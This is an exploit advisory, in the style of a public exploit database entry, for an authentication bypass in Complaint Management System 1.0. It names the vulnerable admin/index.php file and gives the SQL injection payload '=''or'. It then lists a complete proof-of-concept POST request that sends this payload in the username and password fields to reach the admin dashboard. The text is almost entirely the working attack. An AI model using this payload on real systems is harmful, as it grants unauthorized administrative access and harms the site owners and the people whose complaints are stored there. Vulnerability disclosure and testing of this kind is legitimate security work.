Complaint Management System 1.0 - Authentication Bypass

# Exploit Title: complaint management system 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-05-10
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/razormist/complaint-management-system.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : admin/index.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/Complaint%20Management%20System/admin/

POST /Complaint%20Management%20System/admin/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Referer: http://localhost/Complaint%20Management%20System/admin/
Cookie:PHPSESSID=6d1ef7ce1b4rgp44ep3iqncfn4
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=: undefined